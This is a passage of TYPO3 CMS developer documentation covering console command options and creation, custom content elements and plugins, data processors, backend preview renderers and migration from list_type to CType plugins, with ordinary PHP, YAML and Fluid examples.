- Possibly re-connect orphaned records to page tree by setting their "pid" field to a valid page id. A lookup in the sys_refindex table can reveal if there are references to an orphaned record. If there are such references (from records that are not themselves orphans) you might consider to re-connect the record to the page tree, otherwise it should be safe to delete it.
If you want to get more detailed information, use the --verbose option.
Find all versioned records and possibly cleans up invalid records in the database.
Usage
vendor/bin/typo3 cleanup:previewlinks
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Help
Look for preview links within the database table "sys_preview" that have been expired and and remove them. This command should be called regularly when working with workspaces.
Setting start page in page tree. Default is the page tree root, 0 (zero)
Value
Required
--depth
--depth / -d
Setting traversal depth. 0 (zero) will only analyze start page (see --pid), 1 will traverse one level of subpages etc.
Value
Required
--dry-run
--dry-run
If this option is set, the records will not actually be deleted/modified, but just the output which records would be touched are shown
Value
None allowed
Default value
false
--action
--action
Specify which action should be taken. Set it to "versions_in_live", "published_versions" or "invalid_workspace"
Value
Optional
Help
Traverse page tree and find versioned records. Also list all versioned records, additionally with some inconsistencies in the database, which can cleaned up with the "action" option. If you want to get more detailed information, use the --verbose option.
If set, existing records with the same UID will be updated instead of inserted.
Value
None allowed
Default value
false
--ignore-pid
--ignore-pid
If set, page IDs of updated records are not corrected (only works in conjunction with --update-records).
Value
None allowed
Default value
false
--force-uid
--force-uid
If set, UIDs from file will be forced.
Value
None allowed
Default value
false
--import-mode
--import-mode
Set the import mode of this specific record. Pattern is "{table}:{record}={mode}". Available modes for new records are "force_uid" and "exclude" and for existing records "as_new", "ignore_pid", "respect_pid" and "exclude". Examples are "pages:987=force_uid", "tt_content:1=as_new", etc.
Value
Optional (multiple)
Default value
[]
--enable-log
--enable-log
If set, all database actions are logged.
Value
None allowed
Default value
false
Help
Imports a T3D / XML file with content into a page tree
UID of a specific task. Can be provided multiple times to execute multiple tasks sequentially.
Value
Optional (multiple)
Default value
[]
--force
--force / -f
Force execution of the task which is passed with --task option
Value
None allowed
Default value
false
--stop
--stop / -s
Stop the task which is passed with --task option
Value
None allowed
Default value
false
Help
If no parameter is given, the scheduler executes any tasks that are overdue to run.
Call it like this: typo3/sysext/core/vendor/bin/typo3 scheduler:run --task=13 -f
vendor/bin/typo3 setup:begroups:default
vendor/bin/typo3 setup:begroups:default Back to list
Run upgrade wizard. Without arguments all available wizards will be run.
Usage
vendor/bin/typo3 upgrade:run [<wizardName>]
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Arguments
wizardName
wizardName
Help
This command allows running upgrade wizards on CLI. To run a single wizard add the identifier of the wizard as argument. The identifier of the wizard is the name it is registered with in ext_localconf.
Some workspaces can have an auto-publish publication date to put all "ready to publish" content online on a certain date.
Tutorial
Create a console command from scratch
A console command is always situated in an extension. If you want to create
one, kickstart a custom extension or use your
sitepackage extension.
Creating a basic command
The extension kickstarter "Make" offers a convenient
console command that creates a new command in an extension of your choice:
Create a new console command with "Make".
You can use "Make" to create a console command even if your extension was
created by different means.
The Symfony PHP attribute
\Symfony\Component\Console\Attribute\AsCommand
registers console commands.
See the section Use the PHP attribute to register commands
for more details.
Register the command in Configuration/Services.yaml by adding the service
definition for your class as tag
console.command:
EXT:examples/Configuration/Services.yaml
services:_defaults:autowire:trueautoconfigure:truepublic:falseT3docs\Examples\:resource:'../Classes/*'exclude:'../Classes/Domain/Model/*'T3docs\Examples\Command\DoSomethingCommand:tags:-name:console.commandcommand:'examples:dosomething'description:'A command that does nothing and always succeeds.'# Also an alias for the command can be configured-name:console.commandcommand:'examples:dosomethingalias'alias:true
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The following attributes are available:
command
The name under which the command is available.
description
Give a short description. It will be displayed in the list of commands and
the help information of the command.
schedulable
By default, a command can be used in the scheduler, too. This can be disabled by setting
schedulable to
false.
hidden
A command can be hidden from the command list by setting
hidden to
true.
alias
A command can be made available under a different name. Set to
true,
if your command name is an alias.
Note
Despite using autoconfigure: true the commands
have to be explicitly defined in Configuration/Services.yaml. It
is recommended to always supply a description, otherwise there is
an empty space in the list of commands.
2. Create the command class
Create a class called
DoSomethingCommand extending
\Symfony\Component\Console\Command\Command.
<?phpdeclare(strict_types=1);
/*
* This file is part of the TYPO3 CMS project. [...]
*/namespaceT3docs\Examples\Command;
useSymfony\Component\Console\Command\Command;
useSymfony\Component\Console\Input\InputInterface;
useSymfony\Component\Console\Output\OutputInterface;
finalclassDoSomethingCommandextendsCommand{
protectedfunctionconfigure(): void{
$this->setHelp('This command does nothing. It always succeeds.');
}
protectedfunctionexecute(InputInterface $input, OutputInterface $output): int{
// Do awesome stuffreturn Command::SUCCESS;
}
}
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The following two methods should be overridden by your class:
configure()
As the name would suggest, allows to configure the command.
The method allows to add a help text and/or define arguments and options.
execute()
Contains the logic when executing the command. Must
return an integer. It is considered best practice to
return the constants
Command::SUCCESS or
Command::FAILURE.
The command will return without a message as it does nothing but stating it
succeeded.
Note
If a newly created or changed command is not found, clear the cache:
vendor/bin/typo3 cache:flush
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Use the PHP attribute to register commands
CLI commands can be registered by setting the attribute
\Symfony\Component\Console\Attribute\AsCommand on the command class.
When using this attribute there is no need to register the command in the
Services.yaml file.
Note
Only the parameters command, description, aliases and hidden are
available. In order to overwrite the parameter schedulable use the
registration via
Services.yaml.
By default, schedulable is true.
<?phpdeclare(strict_types=1);
namespaceT3docs\Examples\Command;
useSymfony\Component\Console\Attribute\AsCommand;
useSymfony\Component\Console\Command\Command;
useSymfony\Component\Console\Input\InputInterface;
useSymfony\Component\Console\Output\OutputInterface;
#[AsCommand(
name: 'examples:dosomething',
description: 'A command that does nothing and always succeeds.',
aliases: ['examples:dosomethingalias'],
)]
classDoSomethingCommandextendsCommand{
protectedfunctionconfigure(): void{
$this->setHelp('This command does nothing. It always succeeds.');
}
protectedfunctionexecute(InputInterface $input, OutputInterface $output): int{
// Do awesome stuffreturn Command::SUCCESS;
}
}
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Create a command with arguments and interaction
Passing arguments
Since a command extends
\Symfony\Component\Console\Command\Command,
it is possible to define arguments (ordered) and options (unordered) using the Symfony
command API. This is explained in depth on the following Symfony Documentation page:
Add an optional argument and an optional option to your command:
Class T3docs\Examples\Command\CreateWizardCommand
useSymfony\Component\Console\Input\InputArgument;
useSymfony\Component\Console\Input\InputOption;
finalclassCreateWizardCommandextendsCommand{
protectedfunctionconfigure(): void{
$this
->setHelp('This command accepts arguments')
->addArgument(
'wizardName',
InputArgument::OPTIONAL,
'The wizard\'s name',
)
->addOption(
'brute-force',
'b',
InputOption::VALUE_NONE,
'Allow the "Wizard of Oz". You can use --brute-force or -b when running command',
);
}
}
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This command takes one optional argument
wizardName and one optional option,
which can be passed on the command line:
useTYPO3\CMS\Core\Core\Bootstrap;
useSymfony\Component\Console\Input\InputInterface;
useSymfony\Component\Console\Output\OutputInterface;
finalclassDoBackendRelatedThingsCommandextendsCommand{
protectedfunctionexecute(InputInterface $input, OutputInterface $output): int{
Bootstrap::initializeBackendAuthentication();// Do backend related stuffreturn Command::SUCCESS;
}
}
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This is necessary when using DataHandler
or other backend permission handling related tasks.
Simulating a Frontend Request in TYPO3 Commands
When executing TYPO3 commands in the CLI, there is no actual frontend (web)
request. This means that several request attributes required for link generation
via Fluid or TypoScript are missing by default. While setting the site
attribute in the request is a first step, it does not fully replicate the
frontend behavior.
The Challenge
In a web request, TYPO3 automatically provides various objects that influence
link generation:
ContentObjectRenderer (cObj): Processes TypoScript-based rendering,
including link generation.
page Attribute: Holds the current page context.
PageInformation Object: Provides additional metadata about the current
page.
Router: Ensures proper URL resolution.
FrontendTypoScriptFactory (was part of TSFE at the time): Collects
TypoScript and provides settings like linkAccessRestrictedPages and
typolinkLinkAccessRestrictedPages.
One critical limitation is that the ContentObjectRenderer (cObj) is only
available when a TypoScript-based content element, such as FLUIDTEMPLATE, is
rendered. Even if cObj is manually instantiated in a CLI command, its data
array remains empty, meaning it lacks the context of a real tt_content record.
As a result, TypoScript properties like field = my_field or data = my_data
will not work as expected.
Similarly, the FrontendTypoScriptFactory is not automatically
available in CLI. If CLI-generated links should respect settings like
linkAccessRestrictedPages, it would have to be manually instantiated and
configured.
A Minimal Request Example
In some cases, a minimal request configuration may be sufficient, such as when
generating simple links or using FluidEmail. The following example demonstrates
how to set up a basic CLI request with applicationType and site attributes:
<?phpdeclare(strict_types=1);
namespaceT3docs\Examples\Command;
useSymfony\Component\Console\Attribute\AsCommand;
useSymfony\Component\Console\Command\Command;
useSymfony\Component\Console\Input\InputInterface;
useSymfony\Component\Console\Output\OutputInterface;
useTYPO3\CMS\Core\Core\Bootstrap;
useTYPO3\CMS\Core\Core\SystemEnvironmentBuilder;
useTYPO3\CMS\Core\Http\ServerRequest;
useTYPO3\CMS\Core\Mail\FluidEmail;
useTYPO3\CMS\Core\Mail\MailerInterface;
useTYPO3\CMS\Core\Site\SiteFinder;
#[AsCommand(
name: 'examples:dosomething',
description: 'A command that does nothing and always succeeds.',
aliases: ['examples:dosomethingalias'],
)]
classDoSomethingCommandextendsCommand{
publicfunction__construct(
private readonly SiteFinder $siteFinder,
private readonly MailerInterface $mailer,
){
parent::__construct();
}
protectedfunctionexecute(InputInterface $input, OutputInterface $output): int{
Bootstrap::initializeBackendAuthentication();
// The site has to have a fully qualified domain name
$site = $this->siteFinder->getSiteByPageId(1);
$request = (new ServerRequest())
->withAttribute('applicationType', SystemEnvironmentBuilder::REQUESTTYPE_FE)
->withAttribute('site', $site);
$GLOBALS['TYPO3_REQUEST'] = $request;
// Send some mails with FluidEmail
$email = new FluidEmail();
$email->setRequest($request);
// Set receiver etc$this->mailer->send($email);
return Command::SUCCESS;
}
}
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Note
It is important to understand that there is no simple way to fully simulate
a frontend request in CLI. Some aspects, like basic link generation, can
work by manually setting request attributes. However, complex
TypoScript-based link modifications, access restrictions, and context-aware
rendering will not behave identically to a real web request. Developers
need to be aware of these limitations when working with link generation in
CLI commands.
More information
See implementation of existing command controllers in the Core:
typo3/sysext/*/Classes/Command
This chapter handles content elements & plugins: What they are, how they can be
created, how existing content elements or plugins can be customized etc.
In TYPO3, Content elements and plugins are both stored as Database records
in table
tt_content. They are usually edited in the backend in module
Web > Page.
Content elements and plugins are both used to present and manage
content on a website, but they serve different purposes and have distinct
characteristics:
A content element is a standard unit for managing and displaying content,
such as text, images, videos, tables, and more.
TYPO3 provides a variety of built-in content elements. It is possible
to define custom content elements.
A plugin in TYPO3 is more complex, typically providing dynamic
or interactive functionality. Plugins are usually provided by extensions
that introduce new features to the website.
The data to be displayed is usually supplied by a special PHP class
called a "controller". Depending on the technology used in the controller
the plugin can be an Extbase plugin or a plain plugin.
Content elements in TYPO3
A content element is a standard unit for managing and displaying content,
such as text, images, videos, tables, and more.
In the TYPO3 backend, content elements are commonly managed in module
Web > Page.
From a technical point of view content elements are records stored in the
database table tt_content. Each content
element has a specific content element type, specified by the database field
tt_content.CType. This type influences both the backend form and the frontend
output.
The appearance of a content element in the backend form is defined via the
TYPO3 Configuration Array (TCA) of table tt_content.
Each content element type is configured by one entry in the section
$TCA['types'].
The output of the content element in the frontend is configured by an entry in
the TypoScript top-level object tt_content using the
same key as in TCA. In most cases a FLUIDTEMPLATE
is used delegating the actual output to the templating engine
Fluid.
A content element can be of a type
supplied by TYPO3, such as textmedia (text with or without images or videos).
Or it can have a custom type supplied by an extension such as carousel
provided by the
bk2k/bootstrap-package
extension.
Adding custom content elements is
possible without writing PHP code and can therefore also be done by
TYPO3 integrators.
Plugins in TYPO3
A plugin in TYPO3 is a more complex implementation, typically providing dynamic
or interactive functionality. Plugins are usually provided by extensions
that introduce new features to the website.
The data to be displayed is usually supplied by a special PHP class
called a "controller". Depending on the technology used in the controller
the plugin can be an Extbase plugin or a plain plugin.
Extbase plugins
For usage in the TYPO3 backend Extbase plugins are registered with utility
functions of class
\TYPO3\CMS\Extbase\Utility\ExtensionUtility (not to
be confused with
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility ).
Setting the fifth parameter to any value but ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT
is deprecated. See Migration: list_type plugins to CType.
Method
ExtensionUtility::configurePlugin() also takes care of registering
the plugin for frontend output in TypoScript using an object of type
EXTBASEPLUGIN.
If it is desired that editors can insert the Extbase plugin like a content
element into the page it also needs to be registered with
ExtensionUtility::registerPlugin() in the TCA Overrides, for example file
EXT:my_extension/Configuration/TCA/Overrides/tt_content.php:
It is possible to create a plugin without using Extbase by creating a plain PHP
class as a controller.
In this case you have to define the TypoScript configuration yourself. A
USER or USER_INT TypoScript object can be used
to delegate the rendering to your controller:
The method's second and third parameter have been dropped. This method can
only be used with the field CType of table tt_content.
Typical characteristics of plugins
Plugins often use additional database tables which contain records which are
dynamically displayed via the plugin - often in a list view, a single view,
optionally with pagination and search functionality. An extension may provide
several plugins, each with a dedicated function, such as the list view.
Plugins are often used if more complex functionality is required (than in non-
plugin content elements)
Plugins can be created using the Extbase framework or by Core functionality.
A typical extension with plugins is the
georgringer/news
extension
which comes with plugins to display news records in lists or as a single view
with only one news record.
The news records are stored in a custom database table (tx_news_domain_model_news)
and can be edited in the backend.
There are also system extensions that have plugins.
typo3/cms-felogin
has a plugin that allow frontend users, stored in table fe_users to log into
the website.
typo3/cms-indexed-search
has a plugin that can be
used to search in the index and display search results.
Backend Layouts can be configured to define how content elements
are arranged in the TYPO3 backend (in rows, columns, grids). This can be used in
the frontend to determine how the content elements are to be arranged (e.g. in
the footer of the page, left column etc.).
Often content elements and plugins contain a number of fields. Not all of these may
be relevant for your site. It is good practice to configure which fields will be
displayed in the backend. There are a number of ways to do this:
This page explains how to create your own custom content element types. These
are comparable to the predefined content element types supplied by TYPO3. The latter
can be found in the system extension fluid_styled_content.
A content element can be based on fields already available in the tt_content
table.
It is also possible to add extra fields to the tt_content
table, see Extending tt_content.
The data of the content element is then passed to a TypoScript object, in most
cases to a FLUIDTEMPLATE.
Starting with TYPO3 13.0 content elements added via TCA are automatically
displayed in the New Content Element wizard. To stay compatible
with both TYPO3 v12.4 and v13 keep the page TSconfig for TYPO3 v12.4.
See New Content Element wizard in TYPO3 12.4.
<htmldata-namespace-typo3-fluid="true"xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers"><h2>Data available to the content element: </h2><f:debuginline="true">{_all}</f:debug><h2>Output</h2><div><f:format.html>{data.bodytext}</f:format.html></div></html>
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All fields of the table
tt_content are now available in the variable
data. Read more about Fluid.
Tip
During development you can output all available variables in a Fluid
template by adding
<f:debug>{_all}</f:debug>.
Even more convenient:
<f:if condition="{condition}"><f:debug>{_all}</f:debug></f:if>
lets you easily turn debugging on or off, depending on whether you
fill in "1" or "0" for condition.
Below you can see the example output of the new content element and a
dump of all available data:
Extended example: Extend tt_content and use data processing
You can find the complete example in the TYPO3 Documentation Team extension
t3docs/examples
. The steps for
creating a simple new content element as above need to be repeated. We use the
key examples_newcontentcsv in this example.
We want to output comma separated values (CSV) stored in the field bodytext.
As different programs use different separators to store CSV we want to make
the separator configurable.
Extending tt_content
If the available fields in the table tt_content are not sufficient you can add
your own fields. In this case we need a field
tx_examples_separator from
which to choose the desired separator.
Extending the database schema
First we extend the database schema by adding the following to the file
ext_tables.sql:
Do a database compare in the Admin Tools > Maintenance module
after changing the database schema (system maintainers only). Or call the
console command:
You can read more about defining fields via TCA in the TCA Reference.
Now the new field can be used in your Fluid template just like any other
tt_content field.
Another example shows the connection to a foreign table. This allows you to be
more flexible with the possible values in the select box. The new field
myextension_reference is a reference to another table of the extension
called
tx_myextension_mytable:
An individual modification of the newly added field
myextension_reference
to the TCA definition of the table
tt_content can be done in the
TYPO3 Core Engine (TCE) page TSconfig. In most cases it is necessary to set the page
id of the general storage folder. Then the examples extension will only use
the content records from the given page id.
If more than one page id is allowed, this configuration must be used instead
(and the above TCA must be modified to use the marker ###PAGE_TSCONFIG_IDLIST###
instead of ###PAGE_TSCONFIG_ID###):
<htmldata-namespace-typo3-fluid="true"xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers"><h2>Data in variable "myTable"</h2><f:debuginline="true">{myTable}</f:debug><h2>Output, {data.imagecols} columns separated by char {data.tx_examples_separator}</h2><tableclass="table table-hover"><f:foreach="{myTable}"as="columns"iteration="i"><tr><thscope="row">{i.cycle}</th><f:foras="column"each="{columns}"><td>{column}</td></f:for><tr></f:for></table></html>
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The output would look like this (we added a debug of the variable myTable):
Custom data processors
When there is no suitable data processor that
prepares the variables needed for your content element or template, you can
define a custom data processor by implementing
\TYPO3\CMS\Frontend\ContentObject\DataProcessorInterface .
You can find the example below in the TYPO3 Documentation Team extension
t3docs/examples
.
Using a custom data processor in TypoScript
The data processor can be configured through a TypoScript setup configuration. A
custom data processor can be used in the definition of a "new custom content
element" as follows:
In the extension examples you can find the code in
EXT:examples/Configuration/TypoScript/DataProcessors/Processors/CustomCategoryProcessor.typoscript.
In the field
categories the comma-separated categories are stored.
Note
The custom data processor described here should serve as a simple example.
It can therefore only work with comma-separated values, not with an m:n
relationship as used in the field
categories of tables like
tt_content. For that, further logic would need to be implemented.
Register an alias for the data processor (optional)
Instead of using the fully-qualified class name as data processor identifier
(in the example above
\T3docs\Examples\DataProcessing\CustomCategoryProcessor)
you can also define a short alias in Configuration/Services.yaml:
The alias
custom-category can now be used as data processor identifier
like in the TypoScript example above.
Note
When registering a data processor alias please be sure you don't override
an existing alias (from TYPO3 Core or a third-party extension) as this may
cause errors.
Tip
It is recommended to tag custom data processors as this will
automatically add them to the internal
DataProcessorRegistry,
enabling dependency injection by default.
Otherwise, the service would need to be set public.
Note
If your data processor should not be shared then
you need to set the
shared: false tag attribute for the service.
Implementing the custom data processor
The custom data processor must implement
\TYPO3\CMS\Frontend\ContentObject\DataProcessorInterface .
The main method
process() gets called with the following parameters:
ContentObjectRenderer $cObj
Receives the data of the current TypoScript context, in this case the
data of the calling content element.
array $contentObjectConfiguration
Contains the configuration of the calling content element. In this example it is
the configuration
tt_content.examples_dataproccustom
array $processorConfiguration
Contains the configuration of the currently called data processor. In this
example it is the value of
as and the
stdWrap
configuration of the
categoryList
array $processedData
On calling, contains the processed data of all previously called data
processors on this same content element. Your custom data processor also stores
the variables to be sent to the Fluid template here.
This is an example implementation of a custom data processor:
<?phpdeclare(strict_types=1);
/*
* This file is part of the TYPO3 CMS project. [...]
*/namespaceT3docs\Examples\DataProcessing;
useT3docs\Examples\Domain\Repository\CategoryRepository;
useTYPO3\CMS\Core\Utility\GeneralUtility;
useTYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer;
useTYPO3\CMS\Frontend\ContentObject\DataProcessorInterface;
/**
* Class for data processing comma separated categories
*/classCustomCategoryProcessorimplementsDataProcessorInterface{
/**
* Process data for the content element "My new content element"
*
* @param ContentObjectRenderer $cObj The data of the content element or page
* @param array<string, mixed> $contentObjectConfiguration The configuration of Content Object
* @param array<string, mixed> $processorConfiguration The configuration of this processor
* @param array<string, mixed> $processedData Key/value store of processed data (e.g. to be passed to a Fluid View)
* @return array<mixed> the processed data as key/value store
*/publicfunctionprocess(
ContentObjectRenderer $cObj,
array $contentObjectConfiguration,
array $processorConfiguration,
array $processedData,
){
if (isset($processorConfiguration['if.']) && !$cObj->checkIf($processorConfiguration['if.'])) {
return $processedData;
}
// categories by comma separated list
$categoryIdList = $cObj->stdWrapValue('categoryList', $processorConfiguration);
$categories = [];
if ($categoryIdList) {
$categoryIdList = GeneralUtility::intExplode(',', (string)$categoryIdList, true);
/** @var CategoryRepository $categoryRepository */
$categoryRepository = GeneralUtility::makeInstance(CategoryRepository::class);
foreach ($categoryIdList as $categoryId) {
$categories[] = $categoryRepository->findByUid($categoryId);
}
// set the categories into a variable, default "categories"
$targetVariableName = $cObj->stdWrapValue('as', $processorConfiguration, 'categories');
$processedData[$targetVariableName] = $categories;
}
return $processedData;
}
}
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In the extension examples you can find the code in
EXT:/examples/Classes/DataProcessing/CustomCategoryProcessor.php.
On being called, the
CustomCategoryProcessor runs
stdWrap
on the calling ContentObjectRenderer, which has the data of the table
tt_content in the calling content element.
The field
categoryList gets configured in TypoScript as follows:
categoryList.field = categories
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stdWrap fetches the value of
categoryList from
tt_content.tx_examples_main_category of the currently calling content
element.
Now the custom data processor processes the comma-separated values into an array
of integers that represent uids of the table
sys_category. It then
fetches the category data from the
CategoryRepository by calling
findByUid.
The data of the category records then get stored in the desired key in the
$processedData array.
To make the data processor more configurable, we test for a TypoScript
if condition at the beginning, and name the key
we use to store the data configurable by the configuration
as.
Create plugins
How to create plugins with the Extbase framework and Fluid templating engine
is handled in depth in the chapter
Registration of frontend plugins.
There are basically two ways to create frontend plugins in TYPO3:
Create a plugin using Core functionality (without Extbase) and a custom controller
Generally speaking, if you already use Extbase, it is good practice to
create your plugins using the Extbase framework. This also involves:
creating controller actions
create a domain model and repository (if your plugin requires records
that are persisted in the database)
create a view using Fluid templates
Configure custom backend preview for content element
To allow editors a smoother experience, all custom content elements and plugins
should be configured with a corresponding backend preview that shows an
approximation of the element's appearance in the TYPO3 page module. The
following sections describe how to achieve that.
A preview renderer is used to facilitate (record) previews in TYPO3. This
class is responsible for generating the preview and the wrapping.
The default preview renderer is
\TYPO3\CMS\Backend\Preview\StandardContentPreviewRenderer
and handles the Core's built-in content types (field
CType in table
tt_content).
Extend the default preview renderer
There are two ways to provide previews for your custom content types:
via page TSconfig or event listener.
Page TSconfig
This is the "integrator" way, no PHP coding is required. Just some page TSconfig
and a Fluid template.
This requires at least some PHP coding, but allows more flexibility in
accessing and processing the content elements properties.
The event
PageContentPreviewRenderingEvent is being dispatched by the
StandardContentPreviewRenderer. You can listen to it with your own
event listener.
Contract for classes capable of rendering previews of a given record
from a table. Responsible for rendering preview header, preview content
and wrapping of those two values.
Responsibilities are segmented into three methods, one for each responsibility,
which is done in order to allow overriding classes to change those parts
individually without having to replace other parts. Rather than relying on
implementations to be friendly and divide code into smaller pieces and
give them (at least) protected visibility, the key methods are instead required
on the interface directly.
Callers are then responsible for calling each method and combining/wrapping
the output appropriately.
Dedicated method for rendering preview header HTML for
the page module only. Receives the GridColumnItem
that contains the record for which a preview header
should be rendered and returned.
Dedicated method for rendering preview body HTML for
the page module only. Receives the GridColumnItem
that contains the record for which a preview should be
rendered and returned.
Dedicated method for wrapping a preview header and body
HTML. Receives $item, an instance of GridColumnItem holding
among other things the record, which can be used to determine
appropriate wrapping.
param $previewHeader
the previewHeader
param $previewContent
the previewContent
param $item
the item
Returns
string
Implementing these methods allows you to control the exact composition of the
preview.
This means assuming your preview renderer returns
<h4>Header</h4>
from the header render method and
<p>Body</p> from the preview content
rendering method and your wrapping method does
return '<div>' . $previewHeader . $previewContent . '</div>'; then the
entire output becomes
<div><h4>Header</h4><p>Body</p></div> when
combined.
Should you wish to reuse parts of the default preview rendering and only change,
for example, the method that renders the preview body content, you can extend
\TYPO3\CMS\Backend\Preview\StandardContentPreviewRenderer in your custom
preview renderer class - and selectively override the methods from the API
displayed above.
Configuring the implementation
Individual preview renderers can be defined by using one of the following
approaches:
The recommended location is in the
ctrl array in your extension's Configuration/TCA/$table.php
or Configuration/TCA/Overrides/$table.php file. The former is used
when your extension is the one that creates the table, the latter is used
when you need to override TCA properties of tables added by the Core or
other extensions.
Note
The content elements
text,
textpic,
textmedia and
image have their own
PreviewRenderer. Therefore it's not
sufficient to overwrite the
StandardContentPreviewRenderer but
you need to use the second approach from above for every single of
these content elements.
New content element wizard
Changed in version 13.0
Custom content element types are auto-registered for the
New Content Element wizard. The listing can be configured using
TCA.
The content element wizard opens when a new content element is
created. It can be fully configured using ref:Page TSconfig <t3tsref:pagetsconfig>.
The wizard looks like this:
The title can be a string or, recommended, a language reference.
The description can be a string or, recommended, a language reference.
The group can be one of the existing group identifiers or a new one.
The icon can be one of the existing registered icon keys or a custom
icon key registered in the icon API.
Any of these entries can be omitted. You should at
least define a title.
New content elements are usually added in extensions in file
EXT:my_extension/Configuration/Overrides/tt_content.php.
The following groups are available by default:
default
Changed in version 13.0 This group was renamed from group `common`.
Default group for commonly used content elements
forms
Content elements representing forms like a contact form or a login form
lists
menu
Menus that can be inserted as content elements like a sitemap or a menu
of all subpages.
plugins
Plugins provided by extensions
special
Content elements that are used of special cases
All content element groups are listed in
$GLOBALS['TCA']['tt_content']['columns']['CType']['config']['itemGroups'] you can
debug them in the TYPO3 backend using the backend module
System > Configuration if
typo3/cms-lowlevel
is installed
and you are an administrator.
You can add a content element or plain plugin (no Extbase) using method
ExtensionManagementUtility::addPlugin():
of class
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility .
The key value in the parameter $itemArray is used as key of the newly added
content element representing the plugin.
Changed in version 14.0
The method's second and third parameter have been dropped. This method can
only be used with the field CType of table tt_content.
This method supplies some default values:
group
Defaults to plugins
While it is still possible to use
ExtensionManagementUtility::addTcaSelectItem()
as is commonly seen in older extensions this method is not specific to content
elements and therefore sets not default values for group and icon.
Plugins (Extbase) in the "New Content Element" wizard
To add an Extbase plugin you can use ExtensionManagementUtility::registerPlugin
of class
\TYPO3\CMS\Extbase\Utility\ExtensionManagementUtility.
This method is only available for Extbase plugins defined via
ExtensionUtility::configurePlugin in file EXT:my_extension/ext_localconf.php
The TCA is always set globally for the complete TYPO3 installation. If you have
a multi-site installation and want to alter the appearance of content elements
in the wizard or remove certain content elements this can be done via
page TSconfig.
This is commonly done on a per site basis so you can use the Site set page TSconfig provider
in your site package.
This removes the content element "Plain HTML" from the group special.
Note
The affected content elements are only removed from the specified group and
only in the wizard. Editors can still switch the CType selector to create
such a content element. The content element might also appear in another tab.
mod.wizards.newContentElement.wizardItems {
special.html {
title = Plain HTML(use with care!!)
description (
Attention: This HTML is output unsanized! The editor is responsible
to only use safe HTML content.
)
icon = mysitepackage_htmlattention
}
}
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Register a new group in the "New Content Element" wizard
New groups are added on the fly, however it is recommended to set a localized
header:
Content elements compatible with TYPO3 v12.4 and v13
If your extension supplies content elements or plugins and supports both TYPO3
v12.4 and v13 you can keep the Page TsConfig for the New Content Element
Wizard while you additionally supply
the TCA settings for TYPO3 v13.
You should use the same content element group for both definition ways or
the content element will be displayed twice, once in each group. Group common
is automatically migrated to default for TYPO3 v13.
Best practices
Following are some good practices for creating custom content element types and
plugins and for customizing content elements for usage in the backend.
Coding / structure
Use a sitepackage extension to maintain your site customization (such as
backend layouts, custom content elements etc.)
How you structure your extensions depends a little on the use case and if
they will be reused in several projects and / or made public. If you create one
extension for every custom content element, you may want to think about
whether they might be merged into one extension.
Do not use deprecated functionality. Read the Core Changelog
to check for deprecations and breaking changes between TYPO3 versions.
Some naming conventions are described in the chapter Naming conventions.
Make it easier for your editors by hiding the following by
configuration
content elements that should not be used in the "Content Element Wizard"
fields that should not be filled out in the backend forms.
Migration: list_type plugins to CType
Deprecated since version 13.4
The plugin content element (
list) and the plugin sub types
field (
list_type) have been marked as deprecated in TYPO3 v13.4 and
will be removed in TYPO3 v14.0.
Several steps are important in the migration from list_type plugins to CType
plugins:
Register plugins using the CType record type
Create update wizard which extends
\TYPO3\CMS\Install\Updates\AbstractListTypeToCTypeUpdate
and add
list_type to
CType mapping for each plugin to migrate.
Migrate possible FlexForm registration and add dedicated
showitem TCA
configuration
Migrate possible PreviewRenderer registration in TCA
Adapt possible content element wizard items in page TSconfig, where
list_type is used
Adapt possible content element restrictions in backend layouts or container
elements defined by third-party extensions like EXT:content_defender
Extbase plugins are usually registered using the utility method
\TYPO3\CMS\Extbase\Utility\ExtensionUtility::configurePlugin() in file
EXT:my_extension/ext_localconf.php.
Add value ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT as fifth parameter,
$pluginType, to the method
ExtensionUtility::configurePlugin():
EXT:examples/ext_localconf.php (difference)
use T3docs\Examples\Controller\FalExampleController;
use TYPO3\CMS\Extbase\Utility\ExtensionUtility;
ExtensionUtility::configurePlugin(
'Examples',
'HtmlParser',
[
HtmlParserController::class => 'index',
],
+ [],+ ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT,
);
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If the fourth parameter, $nonCacheableControllerActions was missing you can
set it to an empty array, the default value.
It is theoretically possible that the extension author did not use this utility
method. In that case you have to change the TypoScript used to display your
plugin manually. This step is similar to adjusting the TypoScript of a
Core-based plugin.
2. Adjust the registration of FlexForms and additional fields
use TYPO3\CMS\Core\Utility\ExtensionManagementUtility; use TYPO3\CMS\Extbase\Utility\ExtensionUtility; $extensionKey = 'Examples'; $pluginName = 'HtmlParser'; $pluginTitle = 'LLL:EXT:examples/Resources/Private/Language/locallang.xlf:htmlparser_plugin_title'; // Register the HTML Parser plugin $pluginSignature = ExtensionUtility::registerPlugin( $extensionKey, $pluginName, $pluginTitle, );-$GLOBALS['TCA']['tt_content']['types']['list']['subtypes_excludelist'][$pluginSignature]- = 'layout,select_key,pages';-$GLOBALS['TCA']['tt_content']['types']['list']['subtypes_addlist'][$pluginSignature]- = 'pi_flexform';--ExtensionManagementUtility::addPiFlexFormValue(- $pluginSignature,- 'FILE:EXT:examples/Configuration/Flexforms/HtmlParser.xml',-);+ExtensionManagementUtility::addToAllTCAtypes(+ 'tt_content',+ '--div--;Configuration,pi_flexform,',+ $pluginSignature,+ 'after:subheader',+);++ExtensionManagementUtility::addPiFlexFormValue(+ '*',+ 'FILE:EXT:examples/Configuration/Flexforms/HtmlParser.xml',+ $pluginSignature,+);
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The CType based plugin does not inherit the default fields provided by the
TCA of the content element "List". These where in many cases removed by
using subtypes_excludelist.
As these fields are not displayed automatically anymore you can remove this
definition without replacement: Line 15 in the diff. If they have not been
removed and are still needed, you will need to manually add them to your plugin type.
The subtypes_addlist was used to
display the field containing the FlexForm, an possibly other fields in the
list_type plugin. We remove this definition (Line 17) and replace it
by using the utility method
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addToAllTCAtypes()
(Line 25-30).
The utility method
ExtensionManagementUtility::addPiFlexFormValue()
needs to be changed from using the first parameter for the $pluginSignature
to using the third parameter. The first parameter requires a certain list_type
setting it to the wildcard * allows all list types. The third parameter limits
it to the CType.
You can extend class
